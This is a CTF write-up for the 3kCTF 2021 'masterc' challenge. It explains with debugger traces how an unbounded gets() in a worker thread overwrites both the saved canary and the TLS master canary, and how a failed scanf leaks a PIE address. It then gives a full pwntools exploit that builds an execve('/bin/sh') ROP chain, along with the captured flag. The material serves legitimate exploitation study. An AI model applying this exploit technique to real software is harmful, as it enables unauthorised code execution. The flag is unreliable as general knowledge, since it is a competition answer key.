3kCTF 2021 / Published

masterc

Overwriting a thread's master canary in its TCB via an unbounded gets, then ROP-ing to a shell after leaking a PIE address through scanf.

pwn

13 min read

Target
amd64, glibc 2.31
RELRO
Full
Canary
Found
NX
Enabled
PIE
Enabled
Challenge brief

Threaded win? is that even a thing?

nc masterc.2021.3k.ctf.to 9999

files

Inspecting the binary and its protections

In this challenge, we are provided with a tarball. Upon unpacking it, we are presented with the following files.

vagrant in pwnbox in /CTF/3kctf-2021/
❯ tree masterc
masterc
├── Dockerfile
├── bin
│   ├── flag.txt
│   ├── ld-2.31.so
│   ├── libc-2.31.so
│   └── masterc
├── ctf.xinetd
├── dockerbuild.sh
├── src
│   └── masterc.c
└── start.sh

How nice, they even provided us with the source code! But let’s not get ahead of ourselves. Lets start off by checking what security mitigations are present in the binary.

vagrant in pwnbox in masterc/bin
❯ checksec masterc
[*] '/CTF/3kctf-2021/masterc/bin/masterc'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Wow, seems like most of the mitigations are enabled. Looks like this will get pretty interesting. Perhaps we should play around with the binary to get a better idea of what it does.

vagrant in pwnbox in masterc/bin
❯ ./masterc
Enter the size : 1
Enter the number of tries : 1
Enter your guess : 1
Sorry, that was the last guess!
You entered 1 but the right number was 1670024690
I don't think you won the game if you made it until here ...
But maybe a threaded win can help?
>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)

Investigating the threaded overflow

Well, what do u know? Seems like we found a buffer overflow vulnerability in the input above. Running it in GDB should give us more context.

vagrant in pwnbox in masterc/bin
❯ gdb -q ./masterc
pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./masterc...done.
pwndbg> r
Starting program: /CTF/3kctf-2021/masterc/bin/masterc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter the size : 1
Enter the number of tries : 1
Enter your guess : 1
Sorry, that was the last guess!
You entered 1 but the right number was 983362954
I don't think you won the game if you made it until here ...
But maybe a threaded win can help?
[New Thread 0x7ffff77c2700 (LWP 31150)]
>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: <unknown> terminated

Thread 2 "masterc" received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff77c2700 (LWP 31150)]
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
51      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
 RAX  0x0
 RBX  0x7ffff77c1d00 ◂— 0x0
 RCX  0x7ffff7801fb7 (raise+199) ◂— mov    rcx, qword ptr [rsp + 0x108]
 RDX  0x0
 RDI  0x2
 RSI  0x7ffff77c1a60 ◂— 0x0
 R8   0x0
 R9   0x7ffff77c1a60 ◂— 0x0
 R10  0x8
 R11  0x246
 R12  0x7ffff77c1d00 ◂— 0x0
 R13  0x1000
 R14  0x0
 R15  0x30
 RBP  0x7ffff77c1e90 —▸ 0x7ffff79798f1 ◂— cmp    al, 0x75 /* '<unknown>' */
 RSP  0x7ffff77c1a60 ◂— 0x0
 RIP  0x7ffff7801fb7 (raise+199) ◂— mov    rcx, qword ptr [rsp + 0x108]
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
 ► 0x7ffff7801fb7 <raise+199>    mov    rcx, qword ptr [rsp + 0x108] <0x7ffff7801fb7>
   0x7ffff7801fbf <raise+207>    xor    rcx, qword ptr fs:[0x28]
   0x7ffff7801fc8 <raise+216>    mov    eax, r8d
   0x7ffff7801fcb <raise+219>    jne    raise+252 <raise+252>
    ↓
   0x7ffff7801fec <raise+252>    call   __stack_chk_fail <__stack_chk_fail>

   0x7ffff7801ff1                nop    word ptr cs:[rax + rax]
   0x7ffff7801ffb                nop    dword ptr [rax + rax]
   0x7ffff7802000 <killpg>       test   edi, edi
   0x7ffff7802002 <killpg+2>     js     killpg+16 <killpg+16>

   0x7ffff7802004 <killpg+4>     neg    edi
   0x7ffff7802006 <killpg+6>     jmp    kill <kill>
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsi r9 rsp  0x7ffff77c1a60 ◂— 0x0
... ↓
04:0020│             0x7ffff77c1a80 ◂— 0xffffffff
05:0028│             0x7ffff77c1a88 ◂— 0x0
06:0030│             0x7ffff77c1a90 —▸ 0x7ffff77ccf90 ◂— lock add byte ptr [rax], r8b
07:0038│             0x7ffff77c1a98 —▸ 0x7ffff7fe14f0 —▸ 0x7ffff77c3000 ◂— jg     0x7ffff77c3047
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
 ► f 0     7ffff7801fb7 raise+199
   f 1     7ffff7803921 abort+321
   f 2     7ffff784c967 __libc_message+631
   f 3     7ffff78f7b61 __fortify_fail_abort+49
   f 4     7ffff78f7b22
   f 5     555555555483 win+77
   f 6 4141414141414141
   f 7 4141414141414141
──────────────────────────────────────────────────────────────────────────────────────────────────────

The most interesting part about the GDB output above lies in [New Thread 0x7ffff77c2700 (LWP 31150)]. This tells us that the binary spawns a new thread to run the win() function. This can be verified by cross referencing with the provided source code.

C
pthread_t tid;
pthread_create(&tid, NULL, (void*)win, NULL);
pthread_join(tid, NULL);

As seen above, win() is called in a separate worker thread. In the recorded layout, its unbounded write can reach both the saved canary and the TLS guard used to check it. Thread creation alone does not bypass the stack protector; the reachable memory layout is what matters.

Understanding the stack canary check

In order to understand how this works, we need to understand the mechanism behind the stack protector.

pwndbg> disass win
Dump of assembler code for function win:
   0x0000000000001436 <+0>:     endbr64
   0x000000000000143a <+4>:     push   rbp
   0x000000000000143b <+5>:     mov    rbp,rsp
   0x000000000000143e <+8>:     sub    rsp,0x20
   0x0000000000001442 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x000000000000144b <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000000144f <+25>:    xor    eax,eax
   0x0000000000001451 <+27>:    lea    rdi,[rip+0xbb7]        # 0x200f
   0x0000000000001458 <+34>:    call   0x1140 <puts@plt>
   0x000000000000145d <+39>:    lea    rax,[rbp-0x20]
   0x0000000000001461 <+43>:    mov    rdi,rax
   0x0000000000001464 <+46>:    mov    eax,0x0
   0x0000000000001469 <+51>:    call   0x11c0 <gets@plt>
   0x000000000000146e <+56>:    nop
   0x000000000000146f <+57>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000001473 <+61>:    xor    rax,QWORD PTR fs:0x28
   0x000000000000147c <+70>:    je     0x1483 <win+77>
   0x000000000000147e <+72>:    call   0x1150 <__stack_chk_fail@plt>
   0x0000000000001483 <+77>:    leave
   0x0000000000001484 <+78>:    ret
End of assembler dump.

With reference to the disassembly of win as seen above, we observe the presence of the following snippet of disassembly in the function prologue.

Assembly
   0x0000000000001442 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x000000000000144b <+21>:    mov    QWORD PTR [rbp-0x8],rax

Based on our understanding of how a x64 stack frame is laid out, we should know that rbp-0x8 should contain the value of the stack canary. As seen above, the value at fs:0x28 is copied into rbp-0x8 which implies that fs:0x28 should contain the value of the canary.

Assembly
   0x000000000000146f <+57>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000001473 <+61>:    xor    rax,QWORD PTR fs:0x28
   0x000000000000147c <+70>:    je     0x1483 <win+77>
   0x000000000000147e <+72>:    call   0x1150 <__stack_chk_fail@plt>

We can confirm our hypothesis by observing that the function epilogue contains the above disassembly. The value at rbp-0x8 is loaded into rax and subsequently xor-ed with the value at fs:0x28 to check it’s equivalence using the self-inverting property of xor. If it’s not equivalent, __stack_chk_fail is called and the “stack smashing detected” message should pop up.

Locating the master canary in thread-local storage

So what’s the significance of all this? Lets break at the gets() function responsible for the buffer overflow vulnerability to find out.

pwndbg> context disassembly
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
 ► 0x555555555469 <win+51>         call   gets@plt <gets@plt>
        rdi: 0x7ffff77c1ed0 ◂— 0x0
        rsi: 0x7ffff7baf7e3 (_IO_2_1_stdout_+131) ◂— 0xbb08c0000000000a /* '\n' */
        rdx: 0x7ffff7bb08c0 (_IO_stdfile_1_lock) ◂— 0x0
        rcx: 0x7ffff78d3257 (write+71) ◂— cmp    rax, -0x1000 /* 'H=' */

   0x55555555546e <win+56>         nop
   0x55555555546f <win+57>         mov    rax, qword ptr [rbp - 8]
   0x555555555473 <win+61>         xor    rax, qword ptr fs:[0x28]
   0x55555555547c <win+70>         je     win+77 <win+77>

   0x55555555547e <win+72>         call   __stack_chk_fail@plt <__stack_chk_fail@plt>

   0x555555555483 <win+77>         leave
   0x555555555484 <win+78>         ret

   0x555555555485 <play_game>      endbr64
   0x555555555489 <play_game+4>    push   rbp
   0x55555555548a <play_game+5>    mov    rbp, rsp
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack
00:0000│ rdi rsp  0x7ffff77c1ed0 ◂— 0x0
... ↓
02:0010│          0x7ffff77c1ee0 —▸ 0x7ffff77c2700 ◂— 0x7ffff77c2700
03:0018│          0x7ffff77c1ee8 ◂— 0xf6f5753eabcde400
04:0020│ rbp      0x7ffff77c1ef0 ◂— 0x0
05:0028│          0x7ffff77c1ef8 —▸ 0x7ffff7bbb6db (start_thread+219) ◂— mov    qword ptr fs:[0x630], rax
06:0030│          0x7ffff77c1f00 ◂— 0x0
07:0038│          0x7ffff77c1f08 —▸ 0x7ffff77c2700 ◂— 0x7ffff77c2700
pwndbg> p/x $fs_base
$1 = 0x7ffff77c2700
pwndbg> vmmap stack
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
pwndbg> p/d ($fs_base-0x7ffff77c1ed0)
$2 = 2096

Observe that,

  1. our (unbounded) input would be read into 0x7ffff77c1ed0 (on the stack)
  2. the worker’s FS base is 0x7ffff77c2700, where its TCB begins.

The recorded FS base is 2096 bytes (0x830) after the buffer. The TLS guard is another 0x28 bytes later, at buffer offset 0x858. These are distances in this captured worker layout, not portable pthread constants. FS base is the address used for FS-relative memory access, not the numeric FS segment selector. The displayed [stack] mapping belongs to the main thread and does not contain these worker addresses.

The source declares a 16-byte buffer. Eight bytes of padding follow it before the saved guard at +0x18; saved RBP starts at +0x20, and the return address starts at +0x28. Although the stack grows toward lower addresses, the sequential gets write proceeds toward increasing addresses.

To understand this layout, we need to examine the thread-local storage addressed through FS base. According to an article on StackGuard,

__stack_chk_guard can be stored in various places; some architectures use TLS (Thread-local Storage) data for it.

Okay great. But what is the TLS data doing on the stack to begin with?

If we take a peek into the glibc 2.31 source code for stack allocation, we would chance upon the following:

C
# Snippet from glibc 2.31 source nptl/allocatestack.c

/* We place the thread descriptor at the end of the stack.  */
  *pdp = pd;

# if _STACK_GROWS_DOWN
  void *stacktop;

# if TLS_TCB_AT_TP
/* The stack begins before the TCB and the static TLS block.  */
  stacktop = ((char *) (pd + 1) - __static_tls_size);

This allocator places the thread descriptor, TLS, and worker stack together. In the captured layout, the TCB is above the input buffer. Let’s inspect the TLS header file to see the guard fields.

C
# Snippet from glibc 2.31 source sysdeps/x86_64/nptl/tls.h

typedef struct
{
  void *tcb;            /* Pointer to the TCB.  Not necessarily the
                           thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;           /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int vgetcpu_cache[2];
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  int __glibc_unused1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long long int ssp_base;
  /* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */
  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

  void *__padding[8];
} tcbhead_t;

Bingo! So that’s where the stack_guard is stored. We can confirm this in GDB by casting $fs_base as type (tcbhead_t *).

pwndbg> p/x *((tcbhead_t *)$fs_base)
$5 = {
  tcb = 0x7ffff77c2700,
  dtv = 0x555555559270,
  self = 0x7ffff77c2700,
  multiple_threads = 0x1,
  gscope_flag = 0x0,
  sysinfo = 0x0,
  stack_guard = 0xf6f5753eabcde400,
  pointer_guard = 0x70c617bfb6ee6e93,
  vgetcpu_cache = {0x0, 0x0},
  __glibc_reserved1 = 0x0,
  __glibc_unused1 = 0x0,
  __private_tm = {0x0, 0x0, 0x0, 0x0},
  __private_ss = 0x0,
  __glibc_reserved2 = 0x0,
  __glibc_unused2 = {{{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}, {{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}, {{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}, {{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}, {{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}, {{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}, {{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}, {{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}},
  __padding = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
}

We can go a step further by printing the stack_guard field directly.

pwndbg> p/x ((tcbhead_t *)$fs_base)->stack_guard
$6 = 0xf6f5753eabcde400
pwndbg> canary
AT_RANDOM = 0x7fffffffe529 # points to (not masked) global canary value
Canary    = 0xf6f5753eabcde400
Found valid canaries on the stacks:
00:0000│   0x7ffff77c1ee8 ◂— 0xf6f5753eabcde400
00:0000│   0x7ffff77c1f98 ◂— 0xf6f5753eabcde400
00:0000│   0x7ffff77c2728 ◂— 0xf6f5753eabcde400
00:0000│   0x7ffff77c1ee8 ◂— 0xf6f5753eabcde400
00:0000│   0x7ffff77c1f98 ◂— 0xf6f5753eabcde400
00:0000│   0x7ffff77c2728 ◂— 0xf6f5753eabcde400

As depicted above the value of stack_guard is 0xf6f5753eabcde400 which matches the value of the canaries present on the stack, quod erat demonstrandum.

So how do we bypass the canary check? The long overflow replaces both the saved guard at rbp-0x8 and TLS stack_guard with the same eight-byte value. The script uses 0xdeadbeefdeadbeef as that value, not as an address. Changing only the saved guard fails if it differs from the TLS guard; changing both makes this epilogue’s comparison pass.

The first long payload supplies 0x860 bytes, through the guard at +0x858. gets also appends NUL at +0x860, overwriting the first byte of pointer_guard at FS base plus 0x30. All intervening stack and TLS data is crossed by the write. Passing the guard check only gets execution past this epilogue; the other TLS fields crossed by the write must remain usable until the ROP chain runs. The ROP chain returns to win in the same worker thread. The second payload restores the saved guard and reuses the TLS guard value written by the first payload.

The worker overflow reaches both values used by the guard checkThe saved guard is at buffer offset 0x18; in the recorded worker layout FS base is at 0x830 and the TLS guard at 0x858. The long write crosses intermediate data and changes both guards to X, then gets appends NUL at 0x860, the first byte of pointer_guard. The epilogue compares equal guard values, but changing only the saved guard fails if X differs from the original TLS value.recorded worker layout · not to scalegets: 0x860 supplied bytes toward increasing addresses, then NUL+0x00+0x10+0x18+0x20+0x28+0x830+0x858inputbuf[16]padding8 bytessavedguard = XsavedRBPreturn /ROPotherdata …TCBfieldsTLSguard = X0FS baseFS+0x28intermediate data is also overwrittenNUL at +0x860: pointer_guard[0]saved = X; TLS = originalfails if unequalsaved = X; TLS = Xpasses this epilogueX = 0xdeadbeefdeadbeef, the value the script writes to both guards.
Figure 1. The saved guard and TLS guard are two memory values. In the recorded worker layout, one long overflow can replace both with the same value.

Leaking the PIE base through scanf

We also need a PIE address to calculate the executable’s load base. This separate leak occurs in the main thread, while processing the guess before the worker is created.

pwndbg> context code
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────
In file: /CTF/3kctf-2021/masterc/src/main.c
   13   } while(c != e);
   14 }
   15
   16 void get_ul(unsigned long* num) {
   17     fflush(stdout);
 ► 18     scanf("%lu", num);
   19     readuntil('\n');
   20 }
   21
   22 int get_int() {
   23     int d;
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> context disassembly
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
 ► 0x555555555371 <get_ul+50>     call   __isoc99_scanf@plt <__isoc99_scanf@plt>
        format: 0x555555556008 ◂— 0x3e00642500756c25 /* '%lu' */
        vararg: 0x7fffffffe188 —▸ 0x555555555579 (set_number_of_tries+39)

   0x555555555376 <get_ul+55>     mov    edi, 0xa
   0x55555555537b <get_ul+60>     call   readuntil <readuntil>

   0x555555555380 <get_ul+65>     nop
   0x555555555381 <get_ul+66>     leave
   0x555555555382 <get_ul+67>     ret

   0x555555555383 <get_int>       endbr64
   0x555555555387 <get_int+4>     push   rbp
   0x555555555388 <get_int+5>     mov    rbp, rsp
   0x55555555538b <get_int+8>     sub    rsp, 0x10
   0x55555555538f <get_int+12>    mov    rax, qword ptr fs:[0x28]
──────────────────────────────────────────────────────────────────────────────────────────────────────

Observe that,

  1. Guess is read in using scanf("%lu", num)
  2. num is the destination pointer 0x7fffffffe188. The value already stored there, *num (the uninitialized guess), is 0x555555555579, or set_number_of_tries+39.

Additionally, take note of the following excerpt from the scanf man page.

The format string consists of a sequence of directives which describe how to process the sequence of input characters. If processing of a directive fails, no further input is read, and scanf() returns. A “failure” can be either of the following: input failure, meaning that input characters were unavailable, or matching failure, meaning that the input was inappropriate

Supplying "a" makes the %lu conversion fail without assigning to *num. The program ignores the return value, so guess retains its stale bytes. In this compiled layout, guess reuses the stack slot where the earlier call to get_int saved return address 0x1579 relative to the PIE base. This explains the recorded code pointer; it is not a general guarantee about uninitialized variables.

pwndbg> r
Starting program: /CTF/3kctf-2021/masterc/bin/masterc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter the size : 1
Enter the number of tries : 1
Enter your guess : a
Sorry, that was the last guess!
You entered 93824992236921 but the right number was 418023495

pwndbg> telescope 93824992236921
00:0000│   0x555555555579 (set_number_of_tries+39) ◂— mov    dword ptr [rbp - 4], eax

pwndbg> xinfo 93824992236921
Extended information for virtual address 0x555555555579:

  Containing mapping:
    0x555555555000     0x555555556000 r-xp     1000 1000   /CTF/3kctf-2021/masterc/bin/masterc

  Offset information:
         Mapped Area 0x555555555579 = 0x555555555000 + 0x579
         File (Base) 0x555555555579 = 0x555555554000 + 0x1579
      File (Segment) 0x555555555579 = 0x555555555000 + 0x579
         File (Disk) 0x555555555579 = /CTF/3kctf-2021/masterc/bin/masterc + 0x1579

 Containing ELF sections:
               .text 0x555555555579 = 0x555555555220 + 0x359

Building the ROP exploit

The failed conversion preserved guess, and the program printed its value. The recorded decimal value 93824992236921 is 0x555555555579. Subtracting 0x1579 gives PIE load base 0x555555554000; 0x555555555000 is the executable mapping start, not that load base. The script then uses the worker overflow to leak libc and build a later execve chain. Its local frame offsets are verified, while the TLS distance comes from the recorded runtime layout; the complete exploit has not been replayed here.

Python
from pwn import *


HOST = "masterc.2021.3k.ctf.to"
PORT = 9999
FLAG_FORMAT = "3k{\w+}"
REMOTE_FLAGPATH = "/flag.txt"

CHALLENGE = "./bin/masterc"
TARGET_LIBC = "./bin/libc-2.31.so"

TCB_OFFSET = 0x7FFFF77C2700 - 0x7FFFF77C1ED0
STACK_GUARD_OFFSET = TCB_OFFSET + 0x28
CANARY_OFFSET = 0x7FFFF77C1EE8 - 0x7FFFF77C1ED0
RIP_OFFSET = CANARY_OFFSET + 8 + 8

SIZE_PROMPT = b"Enter the size : "
TRIES_PROMPT = b"Enter the number of tries : "
GUESS_PROMPT = b"Enter your guess : "
INPUT_PROMPT = b"> \n"

GUESS_MARKER = b"You entered "
RIGHT_MARKER = b"right number was "

DUMMY_CANARY = p64(0xDEADBEEFDEADBEEF)


def leak_address():
    return u64(io.recvline().rstrip().ljust(8, b"\x00"))


elf = context.binary = ELF(CHALLENGE, checksec=0)

if args.REMOTE:
    libc = ELF(TARGET_LIBC, checksec=0)
    io = remote(HOST, PORT)
else:
    libc = elf.libc
    io = elf.process()

with log.progress("Stage 1: Leak PIE address"):
    io.sendlineafter(SIZE_PROMPT, str(1))
    io.sendlineafter(TRIES_PROMPT, str(1))
    io.sendlineafter(GUESS_PROMPT, "a")

    io.recvuntil(GUESS_MARKER)
    pie_1579 = int(io.recvuntil(" ")[:-1])
    elf.address = pie_1579 - 0x1579

    log.success(f"pie @ {hex(elf.address)}")

with log.progress("Stage 2: Overwrite Stack Guard and leak libc base"):
    rop = ROP(elf)
    rop.puts(elf.got.puts)
    rop.win()

    io.sendlineafter(
        INPUT_PROMPT,
        flat(
            {
                CANARY_OFFSET: DUMMY_CANARY,
                RIP_OFFSET: rop.chain(),
                STACK_GUARD_OFFSET: DUMMY_CANARY,
            }
        ),
    )

    libc_puts = leak_address()
    libc.address = libc_puts - libc.sym.puts

    log.success(f"libc @ {hex(libc.address)}")

with log.progress("Stage 3: Pwn"):
    rop1 = ROP([elf, libc])
    rop1.execve(next(libc.search(b"/bin/sh\x00")), 0, 0)

    io.sendlineafter(
        INPUT_PROMPT,
        flat({CANARY_OFFSET: DUMMY_CANARY, RIP_OFFSET: rop1.chain()}),
    )

if args.REMOTE:
    io.sendline(f"cat {REMOTE_FLAGPATH}")
    log.success(f"Flag: {io.recvline_regexS(FLAG_FORMAT)}")
    io.close()
else:
    io.interactive()

The historical run below records the flag returned by the exploit.

vagrant in pwnbox in 3kctf-2021/masterc
❯ python xpl.py REMOTE
[+] Opening connection to masterc.2021.3k.ctf.to on port 9999: Done
[+] Stage 1: Leak PIE address: Done
[+] pie @ 0x557ccf106000
[+] Stage 2: Overwrite Stack Guard and leak libc base: Done
[*] Loaded 14 cached gadgets for './bin/masterc'
[+] libc @ 0x7f30cf1a9000
[+] Stage 3: Pwn: Done
[*] Loaded 201 cached gadgets for './bin/libc-2.31.so'
[+] Flag: 3k{WH47_Pr3V3N7_Y0U_Fr0M_r0PP1N6_1F_Y0U_C4N_0V3rWr173_7H3_M4573r_C4N4rY_17531F}

Result

Flag: 3k{WH47_Pr3V3N7_Y0U_Fr0M_r0PP1N6_1F_Y0U_C4N_0V3rWr173_7H3_M4573r_C4N4rY_17531F}